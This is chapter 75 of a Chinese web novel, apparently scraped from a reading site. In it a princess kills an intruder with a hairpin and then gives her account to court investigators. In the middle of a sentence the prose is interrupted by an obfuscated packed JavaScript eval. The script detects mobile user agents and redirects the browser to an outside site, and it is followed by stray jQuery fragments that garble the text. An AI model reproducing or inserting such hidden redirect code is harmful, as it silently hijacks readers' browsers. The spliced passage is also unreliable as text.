75. 第 75 章

作品:《春山赴雪行

    一只金簪刺穿了黑衣人的头颅,他的双眼瞬间血红,脸上带着不可置信的震惊,一直持续到倒在地上还未消失。


    楚鸢拉下他遮面的黑巾,露出一个三十出头,尖嘴猴腮般狡黠的脸。


    好普通。


    她惋惜痛心的喃喃自语:“你为什么不早点遇见我?这样,你就不能去作孽了。”


    黑衣人睁着眼,神情可怖的看着她。


    却一动不动。


    想来是已经没法回答她了。


    楚鸢站起身,将披着的外衫穿上又系上了腰带,这才去打开了房门。


    陆执惊了一下,一看只有她,担心道:“阿鸢……”


    几路人马同时准备要出手。


    陆执一眼看到了楚鸢身后的黑衣人,他躺在地上,头上插着一根金簪,头下面流出了血迹,但是不多。


    陆执不可置信,下一刻却在看到楚鸢身上单薄的衣服后,迅速脱下大氅给她披上:“有没有受伤?冷不冷?”


    楚鸢点点头:“真冷!”


    随即眼前一黑,朝着陆执就栽倒了过去。


    陆执一把将人抱住:“阿鸢!”


    ,


    回城路上。


    陆执从寺庙借来了马车,马车有点小,不像府里的可以小憩,楚鸢躺在青黛腿上,若即红着眼睛坐在对面。


    她身上还盖着陆执的大氅。


    马车外,陆执骑马寸步不离的跟着,他只着了单衣,巡防卫和后面赶来的大理寺刑部的人带着黑衣人的尸体,一路跟在后面。


    青黛掀开车帘看了一眼,外面乌漆嘛黑的。


    等到了陆府,大理寺和刑部的人要楚鸢去大理寺说明今晚发生的事情。


    陆执头一次发了火:“阿鸢被吓成这样,你们还想如何?”


    大理寺少卿赶紧赔罪:“陆副使勿要动怒,那就请陆三娘子醒后再来!”


    大理寺少卿还指着楚鸢给她交代,他好给自己上司交代,不敢太过得罪了人,况且这里是镇南侯府,陆执除了是巡防卫副使,还是镇南军少帅,镇南侯世子,身份尊贵。


    陆执直接抱起楚鸢就进了府门,而照夜拦住了大理寺少卿。


    青黛淡声:“公主明日醒来,自会来大理寺说明情况,诸位请回吧!”


    照夜赶紧介绍:“这位是安南郡主!”


    吓得一群人赶紧行礼:“参见郡主!”


    别说,有点身份是真的好使。


    青黛摆手:“回去吧!”


    “恭送郡主!”


    ,


    眠竹轩中。


    青黛看着床上的楚鸢:“人都走了,自家院子,别装了!”


    楚鸢睁开眼睛,有些不快:“他们要我明日去大理寺说明情况?”


    青黛点头:“娘子明日好好编编,别编得太离谱。”


    楚鸢烦闷:“最讨厌大理寺和刑部了,稍微牵涉点背景的案子就办不了,百姓犯罪破案奇快,高门大户犯罪就是悬案,许婵月当街打死人还不是不了了之。”


    青黛:“行了!别碎碎念了,快睡觉吧,困死了。”


    青黛打着呵欠躺在了楚鸢身边。


    “娘子没了内力,没想到手脚还挺麻利。”


    楚鸢冷冰冰的学青黛的语气:“我只是吃了毒药,又不是断了手脚。”


    青黛:“知道了师傅!睡觉。”


    ,


    陆执又失眠了。


    他随手拿起一只自己的发簪,反复尝试,怎么能一击即中,把簪子插入男人的头颅。


    人的头骨硬度极大,楚鸢娇滴滴的,她是怎么做到的?


    她的秘密,怎么这么多。


    怎么挖都挖不完。


    烦人。


    就这样一直睁着眼睛到了天明,然后去上了早朝,早朝时还被刑部侍郎拦住,嘱咐他一定要请楚鸢去大理寺说明情况。


    陆执按下火气:“好!只要你们大理寺受得住。”


    自己没本事,还想甩锅巡防卫,如今楚鸢帮他们解决了人,还一直催催催,不知道楚鸢吓坏了吗。


    ,


    楚鸢睡饱了才来到前厅,把昨晚的事情一五一十和老夫人宝宝她们说了,这才准备去大理寺说明情况,要是她先去了大理寺,风言风语传进来,祖母和宝宝怕是会吓坏。


    一家人,不能相互隐瞒。


    一家人,要在一起吃饭。


    她太渴望这种日子了。


    老夫人把楚鸢上上下下仔仔细细看了一遍,又把青黛也拉过来看了一遍,这才拍着胸脯放下心来:“人没事就好,吓死老太婆了。


    楚鸢特意梳了个极贵重的发髻,配了一身雍容华美的华服。


    青黛也配合着穿了一身裙装,两人带着若即若离款款坐着马车去了大理寺。


    按照公主的配置,她这算是低调了,只不过她马车华贵,还带了十几个侍女侍从,就显得很是隆重。


    大理寺卿痛失爱女,这几日告假了,大理寺少卿不得不亲自在门口带着人迎接,要是知道这人是公主,昨晚无论如何也不会让她马上来。


    刑部侍郎下了值也带着人赶了过来。


    大理寺衙署门口,此刻就特别热闹。


    青黛回想了一下楚鸢最惊艳的出场方式,又在马车中演练了一遍。


    楚鸢看穿了青黛的想法:“你又想让我当你的花瓶?”


    青黛:“你别管,你就按照我设计好的出场方式出现,这群人都是拜高踩低之徒,平日不知道在后面怎么编排你,这种场合万不能随意,让他们知道安南的公主不是好惹的。”


    楚鸢叹了口气:“好吧!”


    侍女从外面打开了马车门,青黛顶着一头珠翠走出了马车,她本就生得大气,如今一打扮,更是靓丽动人,立刻引得大理寺中众人偷看,又不敢太过直白,只好假装随意偷瞄,显得有些滑稽。


    他们或许不知道,站在这个位置,下面人随便的小动作,是能够一览无余的。


    还好大理寺少卿见过青黛,赶紧开口:“参见安南郡主!”


    一群人跟着见礼,这才避免了更尴尬。


    青黛抬手:“免礼!”


    她下了马车,众人这才抬头去看。


    马车内遥遥伸出一只手,纤纤玉手,柔弱无骨,指如葱白,丹蔻鲜红,皓腕上带着一只通身翠绿的镯子。


    只是一眼,就知道马车里的人贵不可言。


    青黛伸出手,接住了那只手。


    众人的眼睛都盯直了,对后面的人充满了遐思。


    一只手就能美成这样,该是怎样的人物。


    紧跟着出来的是一段红色衣角,大红色锦服绣了同色暗纹。


    然后是一支斜飞入鬓的金色步摇,坠着颗颗饱满圆滚的珍珠。


    刑部侍郎不自觉喉结一动。


    再往后,便是一张明艳如朝阳的脸。


    顾盼生辉,国色天香,美得摄人心魄。


    她低眸看着他们,绝美的脸瞬间带上了威严。


    眸光慵懒又威严。


    一众人下意识低了头弯了腰。


    青黛扶着她下了马车,楚鸢莲步微移,来到刑部侍郎和大理寺少卿面前。


    “听说,两位大人要本宫来大理寺,说下昨夜经过?”


    语调慵懒疏淡,却自带几分不容置喙的贵气和威严。


    刑部侍郎竟然有些结巴:“是……不是……请公主恕罪!”


    楚鸢溢出一丝笑意,声音慵慵懒懒,错落


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304762|198412||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    低缓:“那到底是是,还是不是?”


    刑部侍郎深深吸了一口气,这才恢复了冷静道:“回公主,是!”


    楚鸢颔首:“那便走吧!”


    刑部侍郎看了一眼大理寺少卿:快带路啊,这里是你的地盘,我怎么知道怎么带!


    大理寺少卿这才从惊愕中惊醒,赶紧在前面带路:“公主,请!”


    青黛扶着楚鸢进了大理寺,一众下人仍旧在大理寺门后侯着。


    意思是你别耽搁太久。


    大理寺正堂,大理寺少卿坐在正座,刑部侍郎坐在他下面的上首,楚鸢则是坐在大厅正中央,旁边临时加了一张桌子,放置了茶盏。


    她随意的将手搭在扶手上,看着大理寺少卿。


    大理寺少卿做了好一番心里建设,这才问道:“公主,请问您昨夜为何在安庆寺?”


    楚鸢淡声:“理佛!”


    大理寺少卿问得心惊肉跳,又被她这两个字反怼得楞了一下。


    “您与凶徒可认识?”


    “不认识!”


    “那……您能详细说说昨夜之事吗?”


    楚鸢支着头,微微思索:


    “昨夜!本宫正要入睡,突然听到兄长叫我名字,于是本宫起身披衣,让侍女开了门,不知从哪跳进来一个人,拿了刀就架在了我脖子上,还威胁我侍女关门。”


    这些他们知道,虽然并未在现场,但是巡防卫的人都在,可以作证。


    所有人凝神听着,他们想知道的是后面的事情。


    一个弱女子,是怎么能把一个大男人头骨刺穿的。


    还是在那样绝境的情形下。


    楚鸢继续回忆:“那男人与本宫僵持了一会,想要脱身,可外面四处都有人,他难以逃脱,我便安抚他的情绪,以免他狗急跳墙,割破我的喉咙。”


    大理寺少卿只觉指尖微微发颤,喉间发紧,脊背绷得笔直,一瞬不瞬的盯着楚鸢。


    “然后,他想要对我动手,我遍寻了个机会,拔下头上的金簪,插入了他头骨中。”


    她说得随意,大理寺少卿和刑部侍郎,以及堂上的其他人却听得心惊担颤。


    “公主,您可会武?”


    “不会!”


    大理寺少卿几番斟酌词语,想要表述一个人的头骨是很坚硬的,可是似乎找不到合适的词语。


    楚鸢看他眉心微蹙,似是有很多难言之隐,替他说道:“本宫不会武,但是练过两年力气,手上的劲便大些。”


    大些?


    那是大些吗?


    那简直是高手级别。


    刑部侍郎不经意看向了她的纤纤玉手。


    看着柔若无骨啊……


    “公主,您当时可曾害怕?”


    刑部侍郎不满的看了一眼大理寺少卿,怎么会问这样的问题。


    是个人不应该都会害怕吗?


    况且……


    这是公堂该问的吗?


    楚鸢:“不曾!”


    大理寺少卿继续追问:“为何?”


    楚鸢:“有一段时间,我代楚懿掌管安南,每日这样的刺客少说十几起,宫殿上到处都是血,宫人很快就会清理干净,所以,不是什么大事。”


    堂上死一般的寂静。


    大理寺少卿求救一样看向了刑部侍郎。


    刑部侍郎低了头,躲过了他的眼神。


    他只能自己斟酌了一番,开口道:“有劳公主今日来大理寺说明情形,微臣这就结案。”


    青黛:“我家娘子能走了吗?”


    大理寺少卿赶紧下了堂,亲自拿过记录的笔官手上的口供。


    楚鸢签了字,画了鸭。


    楚鸢起身:“走吧!去巡防卫府衙。”